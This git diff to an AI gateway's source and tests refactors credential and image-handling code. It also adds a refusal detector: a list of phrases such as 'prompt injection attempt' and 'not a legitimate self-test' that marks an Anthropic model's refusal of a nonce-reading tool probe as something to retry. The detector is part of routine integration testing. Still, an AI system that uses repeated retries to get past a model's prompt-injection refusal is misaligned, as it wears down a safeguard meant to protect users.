env: {} as NodeJS.ProcessEnv, + includeLegacyEnv: false, + }); +} + describe("resolveGatewayCredentialsFromConfig", () => { it("prefers explicit credentials over config and environment", () => { const resolved = resolveGatewayCredentialsFor( @@ -57,12 +78,12 @@ describe("resolveGatewayCredentialsFromConfig", () => { auth: DEFAULT_GATEWAY_AUTH, }, { - explicitAuth: { token: "explicit-token", password: "explicit-password" }, + explicitAuth: { token: "explicit-token", password: "explicit-password" }, // pragma: allowlist secret }, ); expect(resolved).toEqual({ token: "explicit-token", - password: "explicit-password", + password: "explicit-password", // pragma: allowlist secret }); }); @@ -104,7 +125,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { cfg: cfg({ gateway: { mode: "local", - remote: { token: "remote-token", password: "remote-password" }, + remote: { token: "remote-token", password: "remote-password" }, // pragma: allowlist secret auth: {}, }, }), @@ -113,7 +134,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { }); expect(resolved).toEqual({ token: "remote-token", - password: "remote-password", + password: "remote-password", // pragma: allowlist secret }); }); @@ -182,24 +203,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { }); it("ignores unresolved local password ref when local auth mode is none", () => { - const resolved = resolveGatewayCredentialsFromConfig({ - cfg: { - gateway: { - mode: "local", - auth: { - mode: "none", - password: { source: "env", provider: "default", id: "MISSING_GATEWAY_PASSWORD" }, - }, - }, - secrets: { - providers: { - default: { source: "env" }, - }, - }, - } as unknown as OpenClawConfig, - env: {} as NodeJS.ProcessEnv, - includeLegacyEnv: false, - }); + const resolved = resolveLocalModeWithUnresolvedPassword("none"); expect(resolved).toEqual({ token: undefined, password: undefined, @@ -207,24 +211,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { }); it("ignores unresolved local password ref when local auth mode is trusted-proxy", () => { - const resolved = resolveGatewayCredentialsFromConfig({ - cfg: { - gateway: { - mode: "local", - auth: { - mode: "trusted-proxy", - password: { source: "env", provider: "default", id: "MISSING_GATEWAY_PASSWORD" }, - }, - }, - secrets: { - providers: { - default: { source: "env" }, - }, - }, - } as unknown as OpenClawConfig, - env: {} as NodeJS.ProcessEnv, - includeLegacyEnv: false, - }); + const resolved = resolveLocalModeWithUnresolvedPassword("trusted-proxy"); expect(resolved).toEqual({ token: undefined, password: undefined, @@ -236,8 +223,8 @@ describe("resolveGatewayCredentialsFromConfig", () => { cfg: cfg({ gateway: { mode: "local", - remote: { token: "remote-token", password: "remote-password" }, - auth: { token: "local-token", password: "local-password" }, + remote: { token: "remote-token", password: "remote-password" }, // pragma: allowlist secret + auth: { token: "local-token", password: "local-password" }, // pragma: allowlist secret }, }), env: {} as NodeJS.ProcessEnv, @@ -245,7 +232,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { }); expect(resolved).toEqual({ token: "local-token", - password: "local-password", + password: "local-password", // pragma: allowlist secret }); }); @@ -253,7 +240,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { const resolved = resolveRemoteModeWithRemoteCredentials(); expect(resolved).toEqual({ token: "remote-token", - password: "env-password", + password: "env-password", // pragma: allowlist secret }); }); @@ -268,22 +255,22 @@ describe("resolveGatewayCredentialsFromConfig", () => { it("supports env-first password override in remote mode for gateway call path", () => { const resolved = resolveRemoteModeWithRemoteCredentials({ - remotePasswordPrecedence: "env-first", + remotePasswordPrecedence: "env-first", // pragma: allowlist secret }); expect(resolved).toEqual({ token: "remote-token", - password: "env-password", + password: "env-password", // pragma: allowlist secret }); }); it("supports env-first token precedence in remote mode", () => { const resolved = resolveRemoteModeWithRemoteCredentials({ remoteTokenPrecedence: "env-first", - remotePasswordPrecedence: "remote-first", + remotePasswordPrecedence: "remote-first", // pragma: allowlist secret }); expect(resolved).toEqual({ token: "env-token", - password: "remote-password", + password: "remote-password", // pragma: allowlist secret }); }); @@ -295,7 +282,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { auth: DEFAULT_GATEWAY_AUTH, }, { - remotePasswordFallback: "remote-only", + remotePasswordFallback: "remote-only", // pragma: allowlist secret }, ); expect(resolved).toEqual({ @@ -346,29 +333,33 @@ describe("resolveGatewayCredentialsFromConfig", () => { ).toThrow("gateway.remote.token"); }); + function createRemoteConfigWithMissingLocalTokenRef() { + return { + gateway: { + mode: "remote", + remote: { + url: "wss://gateway.example", + }, + auth: { + mode: "token", + token: { source: "env", provider: "default", id: "MISSING_LOCAL_TOKEN" }, + }, + }, + secrets: { + providers: { + default: { source: "env" }, + }, + }, + } as unknown as OpenClawConfig; + } + it("ignores unresolved local token ref in remote-only mode when local auth mode is token", () => { const resolved = resolveGatewayCredentialsFromConfig({ - cfg: { - gateway: { - mode: "remote", - remote: { - url: "wss://gateway.example", - }, - auth: { - mode: "token", - token: { source: "env", provider: "default", id: "MISSING_LOCAL_TOKEN" }, - }, - }, - secrets: { - providers: { - default: { source: "env" }, - }, - }, - } as unknown as OpenClawConfig, + cfg: createRemoteConfigWithMissingLocalTokenRef(), env: {} as NodeJS.ProcessEnv, includeLegacyEnv: false, remoteTokenFallback: "remote-only", - remotePasswordFallback: "remote-only", + remotePasswordFallback: "remote-only", // pragma: allowlist secret }); expect(resolved).toEqual({ token: undefined, @@ -379,27 +370,11 @@ describe("resolveGatewayCredentialsFromConfig", () => { it("throws for unresolved local token ref in remote mode when local fallback is enabled", () => { expect(() => resolveGatewayCredentialsFromConfig({ - cfg: { - gateway: { - mode: "remote", - remote: { - url: "wss://gateway.example", - }, - auth: { - mode: "token", - token: { source: "env", provider: "default", id: "MISSING_LOCAL_TOKEN" }, - }, - }, - secrets: { - providers: { - default: { source: "env" }, - }, - }, - } as unknown as OpenClawConfig, + cfg: createRemoteConfigWithMissingLocalTokenRef(), env: {} as NodeJS.ProcessEnv, includeLegacyEnv: false, remoteTokenFallback: "remote-env-local", - remotePasswordFallback: "remote-only", + remotePasswordFallback: "remote-only", // pragma: allowlist secret }), ).toThrow("gateway.auth.token"); }); @@ -412,7 +387,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { remote: { url: "wss://gateway.example", token: { source: "env", provider: "default", id: "MISSING_REMOTE_TOKEN" }, - password: "remote-password", + password: "remote-password", // pragma: allowlist secret }, auth: {}, }, @@ -427,7 +402,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { }); expect(resolved).toEqual({ token: undefined, - password: "remote-password", + password: "remote-password", // pragma: allowlist secret }); }); @@ -451,7 +426,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { } as unknown as OpenClawConfig, env: {} as NodeJS.ProcessEnv, includeLegacyEnv: false, - remotePasswordFallback: "remote-only", + remotePasswordFallback: "remote-only", // pragma: allowlist secret }), ).toThrow("gateway.remote.password"); }); @@ -465,7 +440,7 @@ describe("resolveGatewayCredentialsFromConfig", () => { }), env: { CLAWDBOT_GATEWAY_TOKEN: "legacy-token", - CLAWDBOT_GATEWAY_PASSWORD: "legacy-password", + CLAWDBOT_GATEWAY_PASSWORD: "legacy-password", // pragma: allowlist secret } as NodeJS.ProcessEnv, includeLegacyEnv: false, }); @@ -477,33 +452,33 @@ describe("resolveGatewayCredentialsFromValues", () => { it("supports config-first precedence for token/password", () => { const resolved = resolveGatewayCredentialsFromValues({ configToken: "config-token", - configPassword: "config-password", + configPassword: "config-password", // pragma: allowlist secret env: { OPENCLAW_GATEWAY_TOKEN: "env-token", - OPENCLAW_GATEWAY_PASSWORD: "env-password", + OPENCLAW_GATEWAY_PASSWORD: "env-password", // pragma: allowlist secret } as NodeJS.ProcessEnv, includeLegacyEnv: false, tokenPrecedence: "config-first", - passwordPrecedence: "config-first", + passwordPrecedence: "config-first", // pragma: allowlist secret }); expect(resolved).toEqual({ token: "config-token", - password: "config-password", + password: "config-password", // pragma: allowlist secret }); }); it("uses env-first precedence by default", () => { const resolved = resolveGatewayCredentialsFromValues({ configToken: "config-token", - configPassword: "config-password", + configPassword: "config-password", // pragma: allowlist secret env: { OPENCLAW_GATEWAY_TOKEN: "env-token", - OPENCLAW_GATEWAY_PASSWORD: "env-password", + OPENCLAW_GATEWAY_PASSWORD: "env-password", // pragma: allowlist secret } as NodeJS.ProcessEnv, }); expect(resolved).toEqual({ token: "env-token", - password: "env-password", + password: "env-password", // pragma: allowlist secret }); }); }); diff --git a/src/gateway/credentials.ts b/src/gateway/credentials.ts index c1172a09029..88c8a86088b 100644 --- a/src/gateway/credentials.ts +++ b/src/gateway/credentials.ts @@ -16,7 +16,7 @@ export type GatewayCredentialPrecedence = "env-first" | "config-first"; export type GatewayRemoteCredentialPrecedence = "remote-first" | "env-first"; export type GatewayRemoteCredentialFallback = "remote-env-local" | "remote-only"; -const GATEWAY_SECRET_REF_UNAVAILABLE_ERROR_CODE = "GATEWAY_SECRET_REF_UNAVAILABLE"; +const GATEWAY_SECRET_REF_UNAVAILABLE_ERROR_CODE = "GATEWAY_SECRET_REF_UNAVAILABLE"; // pragma: allowlist secret export class GatewaySecretRefUnavailableError extends Error { readonly code = GATEWAY_SECRET_REF_UNAVAILABLE_ERROR_CODE; @@ -119,7 +119,7 @@ export function resolveGatewayCredentialsFromValues(params: { ? firstDefined([configToken, envToken]) : firstDefined([envToken, configToken]); const password = - passwordPrecedence === "config-first" + passwordPrecedence === "config-first" // pragma: allowlist secret ? firstDefined([configPassword, envPassword]) : firstDefined([envPassword, configPassword]); @@ -158,7 +158,7 @@ export function resolveGatewayCredentialsFromConfig(params: { env, includeLegacyEnv, tokenPrecedence: "env-first", - passwordPrecedence: "env-first", + passwordPrecedence: "env-first", // pragma: allowlist secret }); } @@ -243,9 +243,9 @@ export function resolveGatewayCredentialsFromConfig(params: { ? firstDefined([envToken, remoteToken, localToken]) : firstDefined([remoteToken, envToken, localToken]); const password = - remotePasswordFallback === "remote-only" + remotePasswordFallback === "remote-only" // pragma: allowlist secret ? remotePassword - : remotePasswordPrecedence === "env-first" + : remotePasswordPrecedence === "env-first" // pragma: allowlist secret ? firstDefined([envPassword, remotePassword, localPassword]) : firstDefined([remotePassword, envPassword, localPassword]); @@ -255,7 +255,7 @@ export function resolveGatewayCredentialsFromConfig(params: { const localTokenFallbackEnabled = remoteTokenFallback !== "remote-only"; const localTokenFallback = remoteTokenFallback === "remote-only" ? undefined : localToken; const localPasswordFallback = - remotePasswordFallback === "remote-only" ? undefined : localPassword; + remotePasswordFallback === "remote-only" ? undefined : localPassword; // pragma: allowlist secret if (remoteTokenRef && !token && !envToken && !localTokenFallback && !password) { throwUnresolvedGatewaySecretInput("gateway.remote.token"); } diff --git a/src/gateway/gateway-models.profiles.live.test.ts b/src/gateway/gateway-models.profiles.live.test.ts index 0a6b0bedf26..175881a5d30 100644 --- a/src/gateway/gateway-models.profiles.live.test.ts +++ b/src/gateway/gateway-models.profiles.live.test.ts @@ -1013,6 +1013,7 @@ async function runGatewayModelSuite(params: GatewayModelSuiteParams) { shouldRetryExecReadProbe({ text: execReadText, nonce: nonceC, + provider: model.provider, attempt: execReadAttempt, maxAttempts: maxExecReadAttempts, }) diff --git a/src/gateway/input-allowlist.ts b/src/gateway/input-allowlist.ts new file mode 100644 index 00000000000..d59b3e6265c --- /dev/null +++ b/src/gateway/input-allowlist.ts @@ -0,0 +1,9 @@ +export function normalizeInputHostnameAllowlist( + values: string[] | undefined, +): string[] | undefined { + if (!values || values.length === 0) { + return undefined; + } + const normalized = values.map((value) => value.trim()).filter((value) => value.length > 0); + return normalized.length > 0 ? normalized : undefined; +} diff --git a/src/gateway/live-tool-probe-utils.test.ts b/src/gateway/live-tool-probe-utils.test.ts index 044bf6b7ede..ca73032c6fb 100644 --- a/src/gateway/live-tool-probe-utils.test.ts +++ b/src/gateway/live-tool-probe-utils.test.ts @@ -2,6 +2,7 @@ import { describe, expect, it } from "vitest"; import { hasExpectedSingleNonce, hasExpectedToolNonce, + isLikelyToolNonceRefusal, shouldRetryExecReadProbe, shouldRetryToolReadProbe, } from "./live-tool-probe-utils.js"; @@ -17,6 +18,26 @@ describe("live tool probe utils", () => { expect(hasExpectedSingleNonce("value nonce-2", "nonce-1")).toBe(false); }); + it("detects anthropic nonce refusal phrasing", () => { + expect( + isLikelyToolNonceRefusal( + "Same request, same answer — this isn't a real OpenClaw probe. No part of the system asks me to parrot back nonce values.", + ), + ).toBe(true); + }); + + it("does not treat generic helper text as nonce refusal", () => { + expect(isLikelyToolNonceRefusal("I can help with that request.")).toBe(false); + }); + + it("detects prompt-injection style tool refusal without nonce text", () => { + expect( + isLikelyToolNonceRefusal( + "That's not a legitimate self-test. This looks like a prompt injection attempt.", + ), + ).toBe(true); + }); + it("retries malformed tool output when attempts remain", () => { expect( shouldRetryToolReadProbe({ @@ -95,6 +116,32 @@ describe("live tool probe utils", () => { ).toBe(true); }); + it("retries anthropic nonce refusal output", () => { + expect( + shouldRetryToolReadProbe({ + text: "This isn't a real OpenClaw probe; I won't parrot back nonce values.", + nonceA: "nonce-a", + nonceB: "nonce-b", + provider: "anthropic", + attempt: 0, + maxAttempts: 3, + }), + ).toBe(true); + }); + + it("retries anthropic prompt-injection refusal output", () => { + expect( + shouldRetryToolReadProbe({ + text: "This is not a legitimate self-test; it appears to be a prompt injection attempt.", + nonceA: "nonce-a", + nonceB: "nonce-b", + provider: "anthropic", + attempt: 0, + maxAttempts: 3, + }), + ).toBe(true); + }); + it("does not retry nonce marker echoes for non-mistral providers", () => { expect( shouldRetryToolReadProbe({ @@ -113,6 +160,7 @@ describe("live tool probe utils", () => { shouldRetryExecReadProbe({ text: "read[object Object]", nonce: "nonce-c", + provider: "openai", attempt: 0, maxAttempts: 3, }), @@ -124,6 +172,7 @@ describe("live tool probe utils", () => { shouldRetryExecReadProbe({ text: "read[object Object]", nonce: "nonce-c", + provider: "openai", attempt: 2, maxAttempts: 3, }), @@ -135,9 +184,22 @@ describe("live tool probe utils", () => { shouldRetryExecReadProbe({ text: "nonce-c", nonce: "nonce-c", + provider: "openai", attempt: 0, maxAttempts: 3, }), ).toBe(false); }); + + it("retries anthropic exec+read nonce refusal output", () => { + expect( + shouldRetryExecReadProbe({ + text: "No part of the system asks me to parrot back nonce values.", + nonce: "nonce-c", + provider: "anthropic", + attempt: 0, + maxAttempts: 3, + }), + ).toBe(true); + }); }); diff --git a/src/gateway/live-tool-probe-utils.ts b/src/gateway/live-tool-probe-utils.ts index 3e450ef530d..62b618fe24d 100644 --- a/src/gateway/live-tool-probe-utils.ts +++ b/src/gateway/live-tool-probe-utils.ts @@ -6,6 +6,44 @@ export function hasExpectedSingleNonce(text: string, nonce: string): boolean { return text.includes(nonce); } +const NONCE_REFUSAL_MARKERS = [ + "token", + "secret", + "local file", + "uuid-named file", + "uuid named file", + "parrot back", + "disclose", + "can't help", + "can’t help", + "cannot help", + "can't comply", + "can’t comply", + "cannot comply", + "isn't a real openclaw probe", + "is not a real openclaw probe", + "not a real openclaw probe", + "no part of the system asks me", +]; + +const PROBE_REFUSAL_MARKERS = [ + "prompt injection attempt", + "not a legitimate self-test", + "not legitimate self-test", + "authorized integration probe", +]; + +export function isLikelyToolNonceRefusal(text: string): boolean { + const lower = text.toLowerCase(); + if (PROBE_REFUSAL_MARKERS.some((marker) => lower.includes(marker))) { + return true; + } + if (lower.includes("nonce")) { + return NONCE_REFUSAL_MARKERS.some((marker) => lower.includes(marker)); + } + return false; +} + function hasMalformedToolOutput(text: string): boolean { const trimmed = text.trim(); if (!trimmed) { @@ -38,6 +76,9 @@ export function shouldRetryToolReadProbe(params: { if (hasMalformedToolOutput(params.text)) { return true; } + if (params.provider === "anthropic" && isLikelyToolNonceRefusal(params.text)) { + return true; + } const lower = params.text.trim().toLowerCase(); if (params.provider === "mistral" && (lower.includes("noncea=") || lower.includes("nonceb="))) { return true; @@ -48,6 +89,7 @@ export function shouldRetryToolReadProbe(params: { export function shouldRetryExecReadProbe(params: { text: string; nonce: string; + provider: string; attempt: number; maxAttempts: number; }): boolean { @@ -57,5 +99,8 @@ export function shouldRetryExecReadProbe(params: { if (hasExpectedSingleNonce(params.text, params.nonce)) { return false; } + if (params.provider === "anthropic" && isLikelyToolNonceRefusal(params.text)) { + return true; + } return hasMalformedToolOutput(params.text); } diff --git a/src/gateway/method-scopes.ts b/src/gateway/method-scopes.ts index 866d8071a83..04f3b756567 100644 --- a/src/gateway/method-scopes.ts +++ b/src/gateway/method-scopes.ts @@ -63,6 +63,7 @@ const METHOD_SCOPE_GROUPS: Record = { "skills.status", "voicewake.get", "sessions.list", + "sessions.get", "sessions.preview", "sessions.resolve", "sessions.usage", diff --git a/src/gateway/net.test.ts b/src/gateway/net.test.ts index 1faf727a856..f5ee5db9a8e 100644 --- a/src/gateway/net.test.ts +++ b/src/gateway/net.test.ts @@ -439,8 +439,10 @@ describe("isSecureWebSocketUrl", () => { // invalid URLs { input: "not-a-url", expected: false }, { input: "", expected: false }, - { input: "http://127.0.0.1:18789", expected: false }, - { input: "https://127.0.0.1:18789", expected: false }, + { input: "http://127.0.0.1:18789", expected: true }, + { input: "https://127.0.0.1:18789", expected: true }, + { input: "https://remote.example.com:18789", expected: true }, + { input: "http://remote.example.com:18789", expected: false }, ] as const; for (const testCase of cases) { @@ -451,6 +453,7 @@ describe("isSecureWebSocketUrl", () => { it("allows private ws:// only when opt-in is enabled", () => { const allowedWhenOptedIn = [ "ws://10.0.0.5:18789", + "http://10.0.0.5:18789", "ws://172.16.0.1:18789", "ws://192.168.1.100:18789", "ws://100.64.0.1:18789", diff --git a/src/gateway/net.ts b/src/gateway/net.ts index d57915fdcc0..db8779606a5 100644 --- a/src/gateway/net.ts +++ b/src/gateway/net.ts @@ -421,11 +421,17 @@ export function isSecureWebSocketUrl( return false; } - if (parsed.protocol === "wss:") { + // Node's ws client accepts http(s) URLs and normalizes them to ws(s). + // Treat those aliases the same way here so loopback cron announce delivery + // and TLS-backed https endpoints follow the same security policy. + const protocol = + parsed.protocol === "https:" ? "wss:" : parsed.protocol === "http:" ? "ws:" : parsed.protocol; + + if (protocol === "wss:") { return true; } - if (parsed.protocol !== "ws:") { + if (protocol !== "ws:") { return false; } diff --git a/src/gateway/open-responses.schema.ts b/src/gateway/open-responses.schema.ts index e07288610fb..ca23f8de235 100644 --- a/src/gateway/open-responses.schema.ts +++ b/src/gateway/open-responses.schema.ts @@ -35,7 +35,14 @@ export const InputImageSourceSchema = z.discriminatedUnion("type", [ }), z.object({ type: z.literal("base64"), - media_type: z.enum(["image/jpeg", "image/png", "image/gif", "image/webp"]), + media_type: z.enum([ + "image/jpeg", + "image/png", + "image/gif", + "image/webp", + "image/heic", + "image/heif", + ]), data: z.string().min(1), // base64-encoded }), ]); diff --git a/src/gateway/openai-http.image-budget.test.ts b/src/gateway/openai-http.image-budget.test.ts new file mode 100644 index 00000000000..fcc7e2049ae --- /dev/null +++ b/src/gateway/openai-http.image-budget.test.ts @@ -0,0 +1,68 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const extractImageContentFromSourceMock = vi.fn(); + +vi.mock("../media/input-files.js", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + extractImageContentFromSource: (...args: unknown[]) => + extractImageContentFromSourceMock(...args), + }; +}); + +import { __testOnlyOpenAiHttp } from "./openai-http.js"; + +describe("openai image budget accounting", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it("counts normalized base64 image bytes against maxTotalImageBytes", async () => { + extractImageContentFromSourceMock.mockResolvedValueOnce({ + type: "image", + data: Buffer.alloc(10, 1).toString("base64"), + mimeType: "image/jpeg", + }); + + const limits = __testOnlyOpenAiHttp.resolveOpenAiChatCompletionsLimits({ + maxTotalImageBytes: 5, + }); + + await expect( + __testOnlyOpenAiHttp.resolveImagesForRequest( + { + urls: ["data:image/heic;base64,QUJD"], + }, + limits, + ), + ).rejects.toThrow(/Total image payload too large/); + }); + + it("does not double-count unchanged base64 image payloads", async () => { + extractImageContentFromSourceMock.mockResolvedValueOnce({ + type: "image", + data: "QUJDRA==", + mimeType: "image/jpeg", + }); + + const limits = __testOnlyOpenAiHttp.resolveOpenAiChatCompletionsLimits({ + maxTotalImageBytes: 4, + }); + + await expect( + __testOnlyOpenAiHttp.resolveImagesForRequest( + { + urls: ["data:image/jpeg;base64,QUJDRA=="], + }, + limits, + ), + ).resolves.toEqual([ + { + type: "image", + data: "QUJDRA==", + mimeType: "image/jpeg", + }, + ]); + }); +}); diff --git a/src/gateway/openai-http.message-channel.test.ts b/src/gateway/openai-http.message-channel.test.ts index 153570bdf08..3c602cbac18 100644 --- a/src/gateway/openai-http.message-channel.test.ts +++ b/src/gateway/openai-http.message-channel.test.ts @@ -3,77 +3,57 @@ import { agentCommand, installGatewayTestHooks, withGatewayServer } from "./test installGatewayTestHooks({ scope: "test" }); +const OPENAI_SERVER_OPTIONS = { + host: "127.0.0.1", + auth: { mode: "token" as const, token: "secret" }, + controlUiEnabled: false, + openAiChatCompletionsEnabled: true, +}; + +async function runOpenAiMessageChannelRequest(params?: { messageChannelHeader?: string }) { + agentCommand.mockReset(); + agentCommand.mockResolvedValueOnce({ payloads: [{ text: "ok" }] } as never); + + let firstCall: { messageChannel?: string } | undefined; + await withGatewayServer( + async ({ port }) => { + const headers: Record = { + "content-type": "application/json", + authorization: "Bearer secret", + }; + if (params?.messageChannelHeader) { + headers["x-openclaw-message-channel"] = params.messageChannelHeader; + } + const res = await fetch(`http://127.0.0.1:${port}/v1/chat/completions`, { + method: "POST", + headers, + body: JSON.stringify({ + model: "openclaw", + messages: [{ role: "user", content: "hi" }], + }), + }); + + expect(res.status).toBe(200); + firstCall = (agentCommand.mock.calls[0] as unknown[] | undefined)?.[0] as + | { messageChannel?: string } + | undefined; + await res.text(); + }, + { serverOptions: OPENAI_SERVER_OPTIONS }, + ); + return firstCall; +} + describe("OpenAI HTTP message channel", () => { it("passes x-openclaw-message-channel through to agentCommand", async () => { - agentCommand.mockReset(); - agentCommand.mockResolvedValueOnce({ payloads: [{ text: "ok" }] } as never); - - await withGatewayServer( - async ({ port }) => { - const res = await fetch(`http://127.0.0.1:${port}/v1/chat/completions`, { - method: "POST", - headers: { - "content-type": "application/json", - authorization: "Bearer secret", - "x-openclaw-message-channel": "custom-client-channel", - }, - body: JSON.stringify({ - model: "openclaw", - messages: [{ role: "user", content: "hi" }], - }), - }); - - expect(res.status).toBe(200); - const firstCall = (agentCommand.mock.calls[0] as unknown[] | undefined)?.[0] as - | { messageChannel?: string } - | undefined; - expect(firstCall?.messageChannel).toBe("custom-client-channel"); - await res.text(); - }, - { - serverOptions: { - host: "127.0.0.1", - auth: { mode: "token", token: "secret" }, - controlUiEnabled: false, - openAiChatCompletionsEnabled: true, - }, - }, - ); + const firstCall = await runOpenAiMessageChannelRequest({ + messageChannelHeader: "custom-client-channel", + }); + expect(firstCall?.messageChannel).toBe("custom-client-channel"); }); it("defaults messageChannel to webchat when header is absent", async () => { - agentCommand.mockReset(); - agentCommand.mockResolvedValueOnce({ payloads: [{ text: "ok" }] } as never); - - await withGatewayServer( - async ({ port }) => { - const res = await fetch(`http://127.0.0.1:${port}/v1/chat/completions`, { - method: "POST", - headers: { - "content-type": "application/json", - authorization: "Bearer secret", - }, - body: JSON.stringify({ - model: "openclaw", - messages: [{ role: "user", content: "hi" }], - }), - }); - - expect(res.status).toBe(200); - const firstCall = (agentCommand.mock.calls[0] as unknown[] | undefined)?.[0] as - | { messageChannel?: string } - | undefined; - expect(firstCall?.messageChannel).toBe("webchat"); - await res.text(); - }, - { - serverOptions: { - host: "127.0.0.1", - auth: { mode: "token", token: "secret" }, - controlUiEnabled: false, - openAiChatCompletionsEnabled: true, - }, - }, - ); + const firstCall = await runOpenAiMessageChannelRequest(); + expect(firstCall?.messageChannel).toBe("webchat"); }); }); diff --git a/src/gateway/openai-http.test.ts b/src/gateway/openai-http.test.ts index f3ab97093ba..82130807a1b 100644 --- a/src/gateway/openai-http.test.ts +++ b/src/gateway/openai-http.test.ts @@ -137,6 +137,19 @@ describe("OpenAI-compatible HTTP API (e2e)", () => { } | undefined; const getFirstAgentMessage = () => getFirstAgentCall()?.message ?? ""; + const expectInvalidRequestNoDispatch = async (messages: unknown[]) => { + agentCommand.mockClear(); + const res = await postChatCompletions(port, { + model: "openclaw", + messages, + }); + expect(res.status).toBe(400); + const json = (await res.json()) as Record; + expect((json.error as Record | undefined)?.type).toBe( + "invalid_request_error", + ); + expect(agentCommand).toHaveBeenCalledTimes(0); + }; const postSyncUserMessage = async (message: string) => { const res = await postChatCompletions(port, { stream: false, @@ -308,27 +321,17 @@ describe("OpenAI-compatible HTTP API (e2e)", () => { } { - agentCommand.mockClear(); - const res = await postChatCompletions(port, { - model: "openclaw", - messages: [ - { - role: "user", - content: [ - { - type: "image_url", - image_url: { url: "https://example.com/image.png" }, - }, - ], - }, - ], - }); - expect(res.status).toBe(400); - const json = (await res.json()) as Record; - expect((json.error as Record | undefined)?.type).toBe( - "invalid_request_error", - ); - expect(agentCommand).toHaveBeenCalledTimes(0); + await expectInvalidRequestNoDispatch([ + { + role: "user", + content: [ + { + type: "image_url", + image_url: { url: "https://example.com/image.png" }, + }, + ], + }, + ]); } { @@ -423,50 +426,30 @@ describe("OpenAI-compatible HTTP API (e2e)", () => { } { - agentCommand.mockClear(); - const res = await postChatCompletions(port, { - model: "openclaw", - messages: [ - { - role: "user", - content: [ - { - type: "image_url", - image_url: { url: "data:application/pdf;base64,QUJDRA==" }, - }, - ], - }, - ], - }); - expect(res.status).toBe(400); - const json = (await res.json()) as Record; - expect((json.error as Record | undefined)?.type).toBe( - "invalid_request_error", - ); - expect(agentCommand).toHaveBeenCalledTimes(0); + await expectInvalidRequestNoDispatch([ + { + role: "user", + content: [ + { + type: "image_url", + image_url: { url: "data:application/pdf;base64,QUJDRA==" }, + }, + ], + }, + ]); } { - agentCommand.mockClear(); const manyImageParts = Array.from({ length: 9 }).map(() => ({ type: "image_url", image_url: { url: "data:image/png;base64,QUJDRA==" }, })); - const res = await postChatCompletions(port, { - model: "openclaw", - messages: [ - { - role: "user", - content: manyImageParts, - }, - ], - }); - expect(res.status).toBe(400); - const json = (await res.json()) as Record; - expect((json.error as Record | undefined)?.type).toBe( - "invalid_request_error", - ); - expect(agentCommand).toHaveBeenCalledTimes(0); + await expectInvalidRequestNoDispatch([ + { + role: "user", + content: manyImageParts, + }, + ]); } { diff --git a/src/gateway/openai-http.ts b/src/gateway/openai-http.ts index d23fc64bf96..c4ffb02b148 100644 --- a/src/gateway/openai-http.ts +++ b/src/gateway/openai-http.ts @@ -28,6 +28,7 @@ import type { ResolvedGatewayAuth } from "./auth.js"; import { sendJson, setSseHeaders, writeDone } from "./http-common.js"; import { handleGatewayPostJsonEndpoint } from "./http-endpoint-helpers.js"; import { resolveGatewayRequestContext } from "./http-utils.js"; +import { normalizeInputHostnameAllowlist } from "./input-allowlist.js"; type OpenAiHttpOptions = { auth: ResolvedGatewayAuth; @@ -70,14 +71,6 @@ type ResolvedOpenAiChatCompletionsLimits = { images: InputImageLimits; }; -function normalizeHostnameAllowlist(values: string[] | undefined): string[] | undefined { - if (!values || values.length === 0) { - return undefined; - } - const normalized = values.map((value) => value.trim()).filter((value) => value.length > 0); - return normalized.length > 0 ? normalized : undefined; -} - function resolveOpenAiChatCompletionsLimits( config: GatewayHttpChatCompletionsConfig | undefined, ): ResolvedOpenAiChatCompletionsLimits { @@ -94,7 +87,7 @@ function resolveOpenAiChatCompletionsLimits( : DEFAULT_OPENAI_MAX_TOTAL_IMAGE_BYTES, images: { allowUrl: imageConfig?.allowUrl ?? DEFAULT_OPENAI_IMAGE_LIMITS.allowUrl, - urlAllowlist: normalizeHostnameAllowlist(imageConfig?.urlAllowlist), + urlAllowlist: normalizeInputHostnameAllowlist(imageConfig?.urlAllowlist), allowedMimes: normalizeMimeList(imageConfig?.allowedMimes, DEFAULT_INPUT_IMAGE_MIMES), maxBytes: imageConfig?.maxBytes ?? DEFAULT_INPUT_IMAGE_MAX_BYTES, maxRedirects: imageConfig?.maxRedirects ?? DEFAULT_INPUT_MAX_REDIRECTS, @@ -300,18 +293,16 @@ async function resolveImagesForRequest( for (const url of urls) { const source = parseImageUrlToSource(url); if (source.type === "base64") { - totalBytes += estimateBase64DecodedBytes(source.data); - if (totalBytes > limits.maxTotalImageBytes) { + const sourceBytes = estimateBase64DecodedBytes(source.data); + if (totalBytes + sourceBytes > limits.maxTotalImageBytes) { throw new Error( - `Total image payload too large (${totalBytes}; limit ${limits.maxTotalImageBytes})`, + `Total image payload too large (${totalBytes + sourceBytes}; limit ${limits.maxTotalImageBytes})`, ); } } const image = await extractImageContentFromSource(source, limits.images); - if (source.type !== "base64") { - totalBytes += estimateBase64DecodedBytes(image.data); - } + totalBytes += estimateBase64DecodedBytes(image.data); if (totalBytes > limits.maxTotalImageBytes) { throw new Error( `Total image payload too large (${totalBytes}; limit ${limits.maxTotalImageBytes})`, @@ -322,6 +313,11 @@ async function resolveImagesForRequest( return images; } +export const __testOnlyOpenAiHttp = { + resolveImagesForRequest, + resolveOpenAiChatCompletionsLimits, +}; + function buildAgentPrompt( messagesUnknown: unknown, activeUserMessageIndex: number, diff --git a/src/gateway/openresponses-http.ts b/src/gateway/openresponses-http.ts index 783772016ed..97a5fee3c66 100644 --- a/src/gateway/openresponses-http.ts +++ b/src/gateway/openresponses-http.ts @@ -35,6 +35,7 @@ import type { ResolvedGatewayAuth } from "./auth.js"; import { sendJson, setSseHeaders, writeDone } from "./http-common.js"; import { handleGatewayPostJsonEndpoint } from "./http-endpoint-helpers.js"; import { resolveGatewayRequestContext } from "./http-utils.js"; +import { normalizeInputHostnameAllowlist } from "./input-allowlist.js"; import { CreateResponseBodySchema, type CreateResponseBody, @@ -69,14 +70,6 @@ type ResolvedResponsesLimits = { images: InputImageLimits; }; -function normalizeHostnameAllowlist(values: string[] | undefined): string[] | undefined { - if (!values || values.length === 0) { 